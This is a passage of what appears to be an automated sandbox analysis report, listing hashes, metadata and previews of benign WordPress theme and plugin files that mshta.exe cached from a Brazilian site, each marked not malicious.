SHA1:	3078A5FC945049A7B9E90829123ACAE900C74324
SHA-256:	3DF13F8DC45F6168A5EFF9BB8F32FA6807BA3EFE0DB1F76CE808BB7B0F48CA01
SHA-512:	9863D94FECA024EE25B8D1F93F20D0E2E86A9E884C6E3325149DE148F12F54DF82DF2FA0995FBC3FC3C66B4AB15382251703CEE2C7A623CCB86B19601B9E6B1D
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/camera.css
Preview:	/*************************...GENERAL..**************************/..camera_wrap a, .camera_wrap img, ..camera_wrap ol, .camera_wrap ul, .camera_wrap li,..camera_wrap table, .camera_wrap tbody, .camera_wrap tfoot, .camera_wrap thead, .camera_wrap tr, .camera_wrap th, .camera_wrap td..camera_thumbs_wrap a, .camera_thumbs_wrap img, ..camera_thumbs_wrap ol, .camera_thumbs_wrap ul, .camera_thumbs_wrap li,..camera_thumbs_wrap table, .camera_thumbs_wrap tbody, .camera_thumbs_wrap tfoot, .camera_thumbs_wrap thead, .camera_thumbs_wrap tr, .camera_thumbs_wrap th, .camera_thumbs_wrap td {..background: none;..border: 0;..font: inherit;..font-size: 100%;..margin: 0;..padding: 0;..vertical-align: baseline;..list-style: none.}..camera_wrap {..display: none;..float: left;..position: relative;..z-index: 0;.}..camera_wrap img {..max-width: none!important;.}..camera_fakehover {..height: 100%;..min-height: 60px;..position: relative;..width: 100%;..z-index: 1;.}..camera_wrap {..width: 100%;.}..camera_sr

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\chart.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	19761
Entropy (8bit):	5.458312135639062
Encrypted:	false
SSDEEP:	384:bpO1nM9u0BDwt0u/9jydPsRKiyd+sbyWwDHdQPy0MaryWuDHdQ1Q58:Gwumwt0uVmeKIsiKpAaH
MD5:	6806368C6A0BF73A5236B452FD5C2332
SHA1:	250B6DE151107A11DA015D052CE89D1FE042F23D
SHA-256:	835526E45335B67067D09FEF4876BEB46F6557A357CD6F3EDA61284612983A0D
SHA-512:	D4278F7706EE8631F4DCD910D6247E4A80D1B6BD20B3484F23A039779F951B75BA62EE379EDAE9D4FF6D06A9814F96122481539DF590D9F8E781F4E4C3876D6B
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/chart.min.js?ver=1.0
Preview:	var Chart=function(s){function v(a,c,b){a=A((a-c.graphMin)/(c.stepsc.stepValue),1,0);return bc.stepsa}function x(a,c,b,e){function h(){g+=f;var k=a.animation?A(d(g),null,0):1;e.clearRect(0,0,q,u);a.scaleOverlay?(b(k),c()):(c(),b(k));if(1>=g)D(h);else if("function"==typeof a.onAnimationComplete)a.onAnimationComplete()}var f=a.animation?1/A(a.animationSteps,Number.MAX_VALUE,1):1,d=B[a.animationEasing],g=a.animation?0:1;"function"!==typeof c&&(c=function(){});D(h)}function C(a,c,b,e,h,f){var d;a=.Math.floor(Math.log(e-h)/Math.LN10);h=Math.floor(h/(1Math.pow(10,a)))Math.pow(10,a);e=Math.ceil(e/(1Math.pow(10,a)))Math.pow(10,a)-h;a=Math.pow(10,a);for(d=Math.round(e/a);d<b\|\|d>c;)a=d<b?a/2:2a,d=Math.round(e/a);c=[];z(f,c,d,h,a);return{steps:d,stepValue:a,graphMin:h,labels:c}}function z(a,c,b,e,h){if(a)for(var f=1;f<b+1;f++)c.push(E(a,{value:(e+h*f).toFixed(0!=h%1?h.toString().split(".")[1].length:0)}))}function A(a,c,b){return!isNaN(parseFloat(c))&&isFinite(c)&&a>c?c:!isNaN(parseFloat(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\cherry-plugin[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	1789
Entropy (8bit):	5.215043597951395
Encrypted:	false
SSDEEP:	48:kMcpLsRsdpOIi0hwrtpsDrzdVv6I8ixCYk4f440T8BuP9n:e/+0AOrzdVvQqXwNp9n
MD5:	E7694C9876A74D8AF4840B08D8CC4364
SHA1:	3A301C6DFB6B691B0453CEB4A1065BD7C2A5BD8A
SHA-256:	9E806234DF297746D665A8E76B129BF708E4470D7A50FEF5905D306176BEA1C1
SHA-512:	12F2867F5D91CCD42F3893884BB5BDD1F25AE7024B7CEED9CBF108498EFA374B186C38209A6A0468A88D8A12C1F758E25FE5A081B76588A0BAED4B3A26EDEF51
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/includes/js/cherry-plugin.js?ver=1.2.8.1
Preview:	jQuery(document).ready(function(){..// OWL Carousel init...cherryPluginCarouselInit();...// Full-width block with left-right paddings...jQuery('.content_box.full-width').wrapInner('<div class="full-block-wrap"></div>');..jQuery(window).resize( function(){...contenBoxResizeFunction();..});...contenBoxResizeFunction();..function contenBoxResizeFunction(){...var width_of_viewport = jQuery(window).width(),....half_width_of_viewport = width_of_viewport / 2,....width_of_container = jQuery('.content-holder > .container').width();....jQuery('.content_box.full-width').width(width_of_container);...jQuery('.content_box.full-width').css({'padding-left': half_width_of_viewport+'px', 'padding-right': half_width_of_viewport+'px', 'margin-left': '-'+half_width_of_viewport+'px'});...jQuery('.full-block-wrap').width(width_of_container);..}.});..function cherryPluginCarouselInit() {..jQuery('div[id^="owl-carousel-"]').each(function(){...var carousel = jQuery(this),....auto_play = parseInt(carousel.attr('

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\cherry.parallax[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	12158
Entropy (8bit):	3.592754771957016
Encrypted:	false
SSDEEP:	192:t3BO6DYHSCIGSNHsVgqdAy3Ho4y+JFynA/RMAPAdLP3fbXchcRiiAf:x3wgkdn4Chv
MD5:	9DFB3EE198D0B5AD45C2A0BCD6BF803B
SHA1:	C90AFF5CC613C7308E0AD69F62B31E19FEFEE4EF
SHA-256:	89FCE279C9EA9D6232EE5A76067340817EF1A0FD4555FAC18095A202BB6DA952
SHA-512:	1155CC8C04C090E7ADC600D3473C481C66041EBB60DDC8189754E6EC61AB49120F3F9505250FA2CFC164AA91F9863E3F4C405381568B33DAC8346D1BA8652F41
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/cherry.parallax.js?ver=1.0.0
Preview:	jQuery(document).ready(function($){. . parallax_box = $('section.parallax-box');. if(parallax_box.length > 0){. ParallaxBox();. }. . function ParallaxBox(). {. var windowSelector = $(window),. documentSelector = $(document),. documentWidth = documentSelector.width(),. windowHeight = windowSelector.outerHeight(),. liteMode = false,. ieVersion = getInternetExplorerVersion();. . var ds = document.documentElement;. . if(!device.mobile() && !device.tablet()){....liteMode = false;. . if (ieVersion !=-1 && ieVersion < 9){. liteMode = true;. }...}else{....liteMode = true;...}. . parallax_box.each(function(). {. parallaxBox($(this));. });. . function parallaxBox(obj){. . var obj_bg = obj.find('.parallax-bg'),. type = obj_bg.data('parall

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\content_bg4[1].jpg

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, big-endian, direntries=7, orientation=upper-left, xresolution=98, yresolution=106, resolutionunit=2, software=Adobe Photoshop CS5 Windows, datetime=2014:09:09 11:29:49], baseline, precision 8, 2208x1150, frames 3
Category:	downloaded
Size (bytes):	891583
Entropy (8bit):	7.917669644382096
Encrypted:	false
SSDEEP:	24576:Q97s84R+LWUXF0xbeQBvylH8MyqDD08UiFod:Q97s83LWUXFZhuqDDZfm
MD5:	68287B4A0457A01B4244FBB136D147B7
SHA1:	8092DFB1D44BCFDEF01F85778D15B27FFDEF274B
SHA-256:	16AA3453FC8DA749206989DA29E9EAD11FD86B52074E177151412F954072C290
SHA-512:	84D2908196F325F7B4B801A6826D780E236328D219B1CE9ACC41C6AA342E0C12C6319E0A99C938F8EFA64B080402713B6E4FFD7C68F5B5D7938DE640FA07D028
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/images/content_bg4.jpg
Preview:	......Exif..MM.*.............................b...........j.(...........1.........r.2...........i....................'.......'.Adobe Photoshop CS5 Windows.2014:09:09 11:29:49........................................~...........................................&.(.................................L.......H.......H..........Adobe_CM......Adobe.d.................................................................................................................................................S...."................?..........................................................................3......!.1.AQa."q.2.....B#$.R.b34r..C.%.S...cs5....&D.TdE.t6..U.e...u..F'...............Vfv........7GWgw........................5.....!1..AQaq"..2.....B#.R..3$b.r..CS.cs4.%......&5..D.T..dEU6te....u..F...............Vfv........'7GWgw.................?.....f{BP..e`-T$.R..U.....$..>H.>..w......E........c....A. .......w.8.v...........-........cC@ua...._.0.......w.....O.g........1...H....$...>.nW..Sh.4....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\custom-script[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5333
Entropy (8bit):	5.251194517626103
Encrypted:	false
SSDEEP:	96:i7Xo1sX/me8vbi9uq5r+iM19dnFMoOsSyM4WtKNOk:SGsuvbi9odedXyM3tKgk
MD5:	739E27C21C55279E44DCF1C1967E8F5F
SHA1:	F95C101BABBBA485FE49C82991C8299C90D001D9
SHA-256:	611C66D42B9CC55CFA24BA8FC857B9ED01B78E2A5C2A954BC7DD70A889A7AD19
SHA-512:	1DE4C427F75F4F9E9EA3BA37EB697C5E768EBE403CE2E410872CD18C22DB60D4EE0D032D795C9BCA03CE793D84D23B68BA963BF4110D8537F7E2D29B1D5B809C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/theme51253/js/custom-script.js?ver=1.0
Preview:	jQuery(document).ready(function(){..var...windowSelector = jQuery(window)..;...windowSelector.resize(function(){...jQuery('.gmap_container').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.gmap_container2').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });...jQuery('.content_container1').css({ 'width': windowSelector.width(), 'left':'50%', 'margin-left': windowSelector.width()/-2 });..}).trigger("resize");...jQuery('.cherry_media_parallax_1').fadeTo(0, 0);...})..$(function() {..var...menuWrap = $('.header .menu_wrap')..,.offsetArray = []..,.offsetValueArray = []..,._document = $(document)..,.currHash = ''..,.isAnim = false..,.isHomePage = $('body').hasClass('home')? true:false..;....//--------------------------- Menu navigation ---------------------------..$('#topnav > li', menuWrap).each(function(){...if($(this).hasClass('menu-item-type-custom')){....var newUrl = $('header .log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\error[1]

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, UTF-8 Unicode (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3247
Entropy (8bit):	5.459946526910292
Encrypted:	false
SSDEEP:	96:vKFlZ/kxjqD9zqp36wxVJddFAdd5Ydddopdyddv+dd865FhlleXckVDuca:C0pv+GkduSDl6LRa
MD5:	16AA7C3BEBF9C1B84C9EE07666E3207F
SHA1:	BF0AFA2F8066EB7EE98216D70A160A6B58EC4AA1
SHA-256:	7990E703AE060C241EBA6257D963AF2ECF9C6F3FBDB57264C1D48DDA8171E754
SHA-512:	245559F757BAB9F3D63FB664AB8F2D51B9369E2B671CF785A6C9FB4723F014F5EC0D60F1F8555D870855CF9EB49F3951D98C62CBDF9E0DC1D28544966D4E70F1
Malicious:	false
Preview:	...<HTML id=dlgError STYLE="font-family: ms sans serif; font-size: 8pt;..width: 41.4em; height: 24em">..<HEAD>..<meta http-equiv="Content-Type" content="text/html; charset=utf-8">..<META HTTP-EQUIV="MSThemeCompatible" CONTENT="Yes">..<TITLE id=dialogTitle>..Script Error..</TITLE>..<SCRIPT>..var L_Dialog_ErrorMessage = "An error has occurred in this dialog.";..var L_ErrorNumber_Text = "Error: ";..var L_ContinueScript_Message = "Do you want to debug the current page?";..var L_AffirmativeKeyCodeLowerCase_Number = 121;..var L_AffirmativeKeyCodeUpperCase_Number = 89;..var L_NegativeKeyCodeLowerCase_Number = 110;..var L_NegativeKeyCodeUpperCase_Number = 78;..</SCRIPT>..<SCRIPT LANGUAGE="JavaScript" src="error.js" defer></SCRIPT>..</HEAD>..<BODY ID=bdy onLoad="loadBdy()" style="font-family: 'ms sans serif';..font-size: 8pt; background: threedface; color: windowtext;" topmargin=0>..<CENTER id=ctrErrorMessage>..<table id=tbl1 cellPadding=3 cellspacing=3 border=0..style="background: buttonface

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jflickrfeed[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1076
Entropy (8bit):	5.146194862266352
Encrypted:	false
SSDEEP:	24:2wFz5dxCwMo9Ip1Axquw14QOdq9aE0VrkV/VDFVHV6VJvV7d9r2lLnsn1Dn:FzVdYgqjOdquS9z1wJtJe7s1D
MD5:	FE76A6B329775418FB0EFE5FE8797001
SHA1:	6ADF84DEC08BAF40C1CB81BB94610EEBEB630451
SHA-256:	7F83A9259FD19BC18D4C3ED17095CBDE1A8974BA1E727F99321454E6F117D4E7
SHA-512:	D94D842E4461984D5858CA04B1C7C9B7F3BCDB25F6C8BD551F1CA6825ACC314DEE3E4F5605A97DD79EF92703BF5AB7B8DE9BE91C5802063A311C2945173397CE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jflickrfeed.js?ver=1.0
Preview:	(function(b){b.fn.jflickrfeed=function(c,e){c=b.extend(!0,{flickrbase:"//api.flickr.com/services/feeds/",feedapi:"photos_public.gne",limit:20,qstrings:{lang:"en-us",format:"json",jsoncallback:"?"},cleanDescription:!0,useTemplate:!0,itemTemplate:"",itemCallback:function(){}},c);var d=c.flickrbase+c.feedapi+"?",f=!0,g;for(g in c.qstrings)f\|\|(d+="&"),d+=g+"="+c.qstrings[g],f=!1;return b(this).each(function(){var g=b(this),f=this;b.getJSON(d,function(d){b.each(d.items,function(d,a){if(d<c.limit){if(c.cleanDescription){var b=./<p>(.*?)<\/p>/g,e=a.description;b.test(e)&&(a.description=e.match(b)[2],void 0!=a.description&&(a.description=a.description.replace("<p>","").replace("</p>","")))}a.image_s=a.media.m.replace("_m","_s");a.image_t=a.media.m.replace("_m","_t");a.image_m=a.media.m.replace("_m","_m");a.image=a.media.m.replace("_m","");a.image_b=a.media.m.replace("_m","_b");delete a.media;if(c.useTemplate){var b=c.itemTemplate,h;for(h in a)b=b.replace(RegExp("{{"+h+"}}","g"),a[h]);g.append(

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.flexslider-min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	21638
Entropy (8bit):	5.19976778726859
Encrypted:	false
SSDEEP:	384:6zEjb38fdvqEqHLOB7/Y1zicwyWda6lo7iMrpLtwSO2BAw1EFO:6838fdvqEqCBk1zzWda6loeMdLt9O5bA
MD5:	9EC3C315B67F434AABC4DA58EABC6C3A
SHA1:	51B3A7D882F438D53DC69CA5289E92254160C09A
SHA-256:	0C853C2CC205BAFE5D893017B6A03A2ACF0F04A11B85F80605514CF0AE540FE6
SHA-512:	75317411016A28DFF4E7A1D68F7B604B7B08E0BE90038C3039493123FE2A89EBBFC084E1E15C029CBADCB64EFAD2A122307957D8BA51E17EF42FFF35A8A3922C
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-plugin/lib/js/FlexSlider/jquery.flexslider-min.js?ver=2.2.2
Preview:	/. jQuery FlexSlider v2.2.2. * Copyright 2012 WooThemes. * Contributing Author: Tyler Smith. */.!function(a){a.flexslider=function(b,c){var d=a(b);d.vars=a.extend({},a.flexslider.defaults,c);var j,e=d.vars.namespace,f=window.navigator&&window.navigator.msPointerEnabled&&window.MSGesture,g=("ontouchstart"in window\|\|f\|\|window.DocumentTouch&&document instanceof DocumentTouch)&&d.vars.touch,h="click touchend MSPointerUp",i="",k="vertical"===d.vars.direction,l=d.vars.reverse,m=d.vars.itemWidth>0,n="fade"===d.vars.animation,o=""!==d.vars.asNavFor,p={},q=!0;a.data(b,"flexslider",d),p={init:function(){d.animating=!1,d.currentSlide=parseInt(d.vars.startAt?d.vars.startAt:0,10),isNaN(d.currentSlide)&&(d.currentSlide=0),d.animatingTo=d.currentSlide,d.atEnd=0===d.currentSlide\|\|d.currentSlide===d.last,d.containerSelector=d.vars.selector.substr(0,d.vars.selector.search(" ")),d.slides=a(d.vars.selector,d),d.container=a(d.containerSelector,d),d.count=d.slides.length,d.syncExists=a(d.vars.sync).lengt

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.mobilemenu[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	2074
Entropy (8bit):	5.0968137085902505
Encrypted:	false
SSDEEP:	48:MD00ieaw9PS+mQeavhBFxQDgaQEqMeDPs11Uix4gWl5aBn2vUys2O:6haw9PS+oenaDQEqMeDPuUG++2K2O
MD5:	77DDDC6C72834DC757EB755B46C00F8D
SHA1:	894745AF5CF26EB10DFE28F3BB0C6B2C7B0C286B
SHA-256:	C5F36FC1D0410B310F27E21BA0C948B9E6914F41C119D02C4629CA894D177A1E
SHA-512:	D13DE2DF355B214C25943E1859C595CBF51AF4854E94093B457B2C99DA66D9F9308DA8A94404F4240811B1A50BA3C2A28316E460964C3A5C0EDCC3B2F03161B3
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/jquery.mobilemenu.js?ver=1.0
Preview:	/*. jQuery Mobile Menu. * Turn unordered list menu into dropdown select menu. * version 1.0(31-OCT-2011). . Built on top of the jQuery library. * http://jquery.com. . Documentation. * http://github.com/mambows/mobilemenu. */.(function($){..$.fn.mobileMenu = function(options) {...var defaults = {.....defaultText: 'Navigate to...',.....className: 'select-menu',.....subMenuClass: 'sub-menu',.....subMenuDash: '–'.....},....settings = $.extend( defaults, options ),....el = $(this);....$("head").append('<style type="text/css">@media(max-width: 767px){.sf-menu{display:none;} .select-menu{display: block;}}</style>')....this.each(function(){....// ad class to submenu list....el.find('ul').addClass(settings.subMenuClass);.....// Create base menu....$('<select />',{'class':settings.className}).insertAfter(el);.....// Create default option....$('<option />', {"value":'#', "text":settings.defaultText}).appendTo( '.' + settings.className );.....// Create select option from menu...

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.mousewheel.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	1392
Entropy (8bit):	5.304639490555412
Encrypted:	false
SSDEEP:	24:JNFww5yF1TY6APXYBfQJbHLcIYADqfIO0hz7aUIONhM7v9O9BK8:JbCsPXYBfQuIIkhzGUdhMLYLK8
MD5:	25DB04E9DAEE1C00F6CA337537C32C01
SHA1:	CC1D92C5536C9B2DD766B6EDDC0C8BA8CF831438
SHA-256:	C8104390115F92B27003B1E4E503EF59343CCFEF4AC19751093544E8CFAEAE26
SHA-512:	F5BCA70968AB8D030218485A4417E2AF39621F7E7DF150C9BCA84281801CA5A43B55759844D677626A5FF53BAD4C049C995E0DB72CB4B549766628718DE9E518
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.mousewheel.min.js?ver=3.0.6
Preview:	/! Copyright (c) 2011 Brandon Aaron (http://brandonaaron.net). Licensed under the MIT License (LICENSE.txt).. . Thanks to: http://adomas.org/javascript-mouse-wheel/ for some pointers.. * Thanks to: Mathias Bank(http://www.mathias-bank.de) for a scope bug fix.. * Thanks to: Seamus Leahy for adding deltaX and deltaY. . Version: 3.0.6. * . * Requires: 1.2.2+. /.(function(a){function d(b){var c=b\|\|window.event,d=[].slice.call(arguments,1),e=0,f=!0,g=0,h=0;return b=a.event.fix(c),b.type="mousewheel",c.wheelDelta&&(e=c.wheelDelta/120),c.detail&&(e=-c.detail/3),h=e,c.axis!==undefined&&c.axis===c.HORIZONTAL_AXIS&&(h=0,g=-1e),c.wheelDeltaY!==undefined&&(h=c.wheelDeltaY/120),c.wheelDeltaX!==undefined&&(g=-1*c.wheelDeltaX/120),d.unshift(b,e,g,h),(a.event.dispatch\|\|a.event.handle).apply(this,d)}var b=["DOMMouseScroll","mousewheel"];if(a.event.fixHooks)for(var c=b.length;c;)a.event.fixHooks[b[--c]]=a.event.mouseHooks;a.event.special.mousewheel={setup:function(){if(this.addEventListener)f

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\jquery.simplr.smoothscroll.min[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	946
Entropy (8bit):	5.1855423510973475
Encrypted:	false
SSDEEP:	24:2GPs6G3ILAMbiEm8QKov1mxulWM8cQ2x17JxrIv:24EMeLQxuj8cQUjVS
MD5:	72944D2F940D2AB8DFDCAA537A9ECDEE
SHA1:	D94FA468B83F9B76EB8F97CEFC6312FBD173A848
SHA-256:	547887F6237649D22B102EDD455869D14A02D3B393CFF5A5886624E4D08DCB3A
SHA-512:	58D77C35684959DBF8B70452CA0D74AE94233055959A3663C44CEC2511045E9BE4665C7F02A0E1DB1B8F2209BD89089FE438EB51F36257F832EC707BC4419C4E
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/cherry-parallax/js/jquery.simplr.smoothscroll.min.js?ver=1.0
Preview:	/* jquery.simplr.smoothscroll version 1.0 copyright (c) 2012 https://github.com/simov/simplr-smoothscroll licensed under MIT */..jQuery(document).ready(function($) {. if(!device.mobile() && !device.tablet()){. $.srSmoothscroll({. step:150,. speed:800. });. }.});..;(function(e){"use strict";e.srSmoothscroll=function(t){var platform = window.navigator.platform; if ((platform === 'MacIntel' \|\| platform === 'MacPPC')){return false}; var n=e.extend({step:170,speed:1000,ease:"swing"},t\|\|{});var r=e(window),i=e(document),s=0,o=n.step,u=n.speed,a=r.height(),f=navigator.userAgent.indexOf("AppleWebKit")!==-1?e("body"):e("html"),l=false;e("body").mousewheel(function(e,t){l=true;if(t<0)s=s+a>=i.height()?s:s+=o;else s=s<=0?0:s-=o;f.stop().animate({scrollTop:s},u,n.ease,function(){l=false});return false});r.on("resize",function(e){a=r.height()}).on("scroll",function(e){if(!l)s=r.scrollTop()})}})(jQuery);.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\magnific-popup[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9304
Entropy (8bit):	4.884999133560261
Encrypted:	false
SSDEEP:	192:hNQeaSgt1RlPZpFXWi6fEKJHFiN6/kw57F5fmu4xCEBvL:uTPdXDlwFdF5On
MD5:	33F641DF8C0FC8A2A5C9C7FAD61EC019
SHA1:	7E4999E434F83D66A6E436DA9373880C47289704
SHA-256:	690587B44CBF9FF5EFA013957F8460D96B36775ACBB27472CFB6DC34BB91AF4D
SHA-512:	910F7FD759FD016EED7C7707E971DAAD57DB08D5CE421D7C94B43CCCCB67440654B87CC2FA3B75C28DC77DBE77C017B2EB7A1BE38436061AE9CF177F1FA900BB
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/css/magnific-popup.css?ver=0.9.3
Preview:	/* Magnific Popup CSS */..mfp-bg {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1042;. overflow: hidden;. position: fixed;. background: #0b0b0b;. opacity: 0.8;. filter: alpha(opacity=80); }...mfp-wrap {. top: 0;. left: 0;. width: 100%;. height: 100%;. z-index: 1043;. position: fixed;. outline: none !important;. -webkit-backface-visibility: hidden; }...mfp-container {. text-align: center;. position: absolute;. width: 100%;. height: 100%;. left: 0;. top: 0;. padding: 0 8px;. -webkit-box-sizing: border-box;. -moz-box-sizing: border-box;. box-sizing: border-box; }...mfp-container:before {. content: '';. display: inline-block;. height: 100%;. vertical-align: middle; }...mfp-align-top .mfp-container:before {. display: none; }...mfp-content {. position: relative;. display: inline-block;. vertical-align: middle;. margin: 0 auto;. text-align: left;. z-index: 1045; }...mfp-inline-holder .mfp-content,..mfp-ajax-holder .mfp-content {. width: 100

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\modernizr[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	HTML document, ASCII text, with very long lines, with no line terminators
Category:	downloaded
Size (bytes):	12314
Entropy (8bit):	5.301581700967231
Encrypted:	false
SSDEEP:	192:Eu55THWDn9KHdfJJqbbo5jaSJJJkSeIUHV+2LDDhWwpy8b7z:j5RHWD9KxJJAo5jakrwHVrHh1pz
MD5:	8CEF5686125E254FB53C25F16E310525
SHA1:	93522E2AB068A3433331E08144722DD57A8FAE9A
SHA-256:	6C44371BECA8CB2A76B857B17532BB3512B2E68B4A8678AB4288B95353005A0F
SHA-512:	BBA61E0EC78AC07E6EF8D4195D6E17B6276559129749F1B1C836826AB5660CFC5441CB7F979EFDC7D5ED0931EC2AD8C6DC21BAEF83CB19218B107441B2A9E290
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/themes/CherryFramework/js/modernizr.js?ver=2.0.6
Preview:	;window.Modernizr=function(a,b,c){function B(a){j.cssText=a}function C(a,b){return B(n.join(a+";")+(b\|\|""))}function D(a,b){return typeof a===b}function E(a,b){return!!~(""+a).indexOf(b)}function F(a,b){for(var d in a){var e=a[d];if(!E(e,"-")&&j[e]!==c)return b=="pfx"?e:!0}return!1}function G(a,b,d){for(var e in a){var f=b[a[e]];if(f!==c)return d===!1?a[e]:D(f,"function")?f.bind(d\|\|b):f}return!1}function H(a,b,c){var d=a.charAt(0).toUpperCase()+a.slice(1),e=(a+" "+p.join(d+" ")+d).split(" ");return D(b,"string")\|\|D(b,"undefined")?F(e,b):(e=(a+" "+q.join(d+" ")+d).split(" "),G(e,b,c))}function I(){e.input=function(c){for(var d=0,e=c.length;d<e;d++)t[c[d]]=c[d]in k;return t.list&&(t.list=!!b.createElement("datalist")&&!!a.HTMLDataListElement),t}("autocomplete autofocus list placeholder max min multiple pattern required step".split(" ")),e.inputtypes=function(a){for(var d=0,e,f,h,i=a.length;d<i;d++)k.setAttribute("type",f=a[d]),e=k.type!=="text",e&&(k.value=l,k.style.cssText="position:abs

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\owl.carousel.min[1].css

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	ASCII text, with very long lines
Category:	downloaded
Size (bytes):	3351
Entropy (8bit):	4.914211238199009
Encrypted:	false
SSDEEP:	48:uZo8LL+IJWmQq+v+dDKopvu+ztL+F/+wI+weAzT+RV+VAPsAvqeghOHHy3VzoRvO:JgA6eA2+AbdEK7pcXVxZaIJICNMM
MD5:	B2752A850D44F50036628EEAEF3BFCFA
SHA1:	FBA46353CF90450EF3D362A123F1E7AF3E8C561E
SHA-256:	521410E1FC44780061E09ADC980275FB5EA277FD5D9E538454214EC4379FF4BC
SHA-512:	B52DD2E6A1B40658674113B2257BCD8DE10CE14A4C5C7AD07D31A66D0D602A67A50B195210151AC614418FF1054F3A5B3F84554ABA448A46E6749A1B0AF844DE
Malicious:	false
IE Cache URL:	http://facextrade.com.br/wp-content/plugins/logo-slider-wp/public/assets/lib/owl/assets/owl.carousel.min.css?ver=1.0.0
Preview:	/*. Owl Carousel v2.3.4. * Copyright 2013-2018 David Deutsch. * Licensed under: SEE LICENSE IN https://github.com/OwlCarousel2/OwlCarousel2/blob/master/LICENSE. */..owl-carousel,.owl-carousel .owl-item{-webkit-tap-highlight-color:transparent;position:relative}.owl-carousel{display:none;width:100%;z-index:1}.owl-carousel .owl-stage{position:relative;-ms-touch-action:pan-Y;touch-action:manipulation;-moz-backface-visibility:hidden}.owl-carousel .owl-stage:after{content:".";display:block;clear:both;visibility:hidden;line-height:0;height:0}.owl-carousel .owl-stage-outer{position:relative;overflow:hidden;-webkit-transform:translate3d(0,0,0)}.owl-carousel .owl-item,.owl-carousel .owl-wrapper{-webkit-backface-visibility:hidden;-moz-backface-visibility:hidden;-ms-backface-visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);-ms-transform:translate3d(0,0,0)}.owl-carousel .owl-item{min-height:1px;float:left;-webkit-backface-visibility:hidden;-webkit-touch-ca

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\4PB7FJMT\owl.carousel[1].js

Download File

Process:	C:\Windows\SysWOW64\mshta.exe
File Type:	UTF-8 Unicode text, with very long lines
Category:	downloaded
Size (bytes):	89992
Entropy (8bit):	5.084392122174397
Encrypted:	false
SSDEEP:	1536:owLoreUC7AuLMjvNlP8GNMBJ6IcIhKJQIOybQOoiYM9OJ0QQKOv:oUMNlPBqJTuOGQOotEhKOv
MD5:	CCDF893E7D8B26933AF0C336BCC3943E
SHA1:	AC575BA3377F95EF22BAD865EC35B0B3DCB0DFE0
SHA-256:	DB9D6CF3C1C4B047C62F646E7D9991C06A212931C362BF53F9A2406B30F09466
SHA-512:	818DB99C2EB775D1342DC2CF871509185C5AD86A08C80E452F29B8509A870C43078E9F11113E999FF487A35B25B6DDD6B95B6A7F2C4408FDFCFDD69473F59510
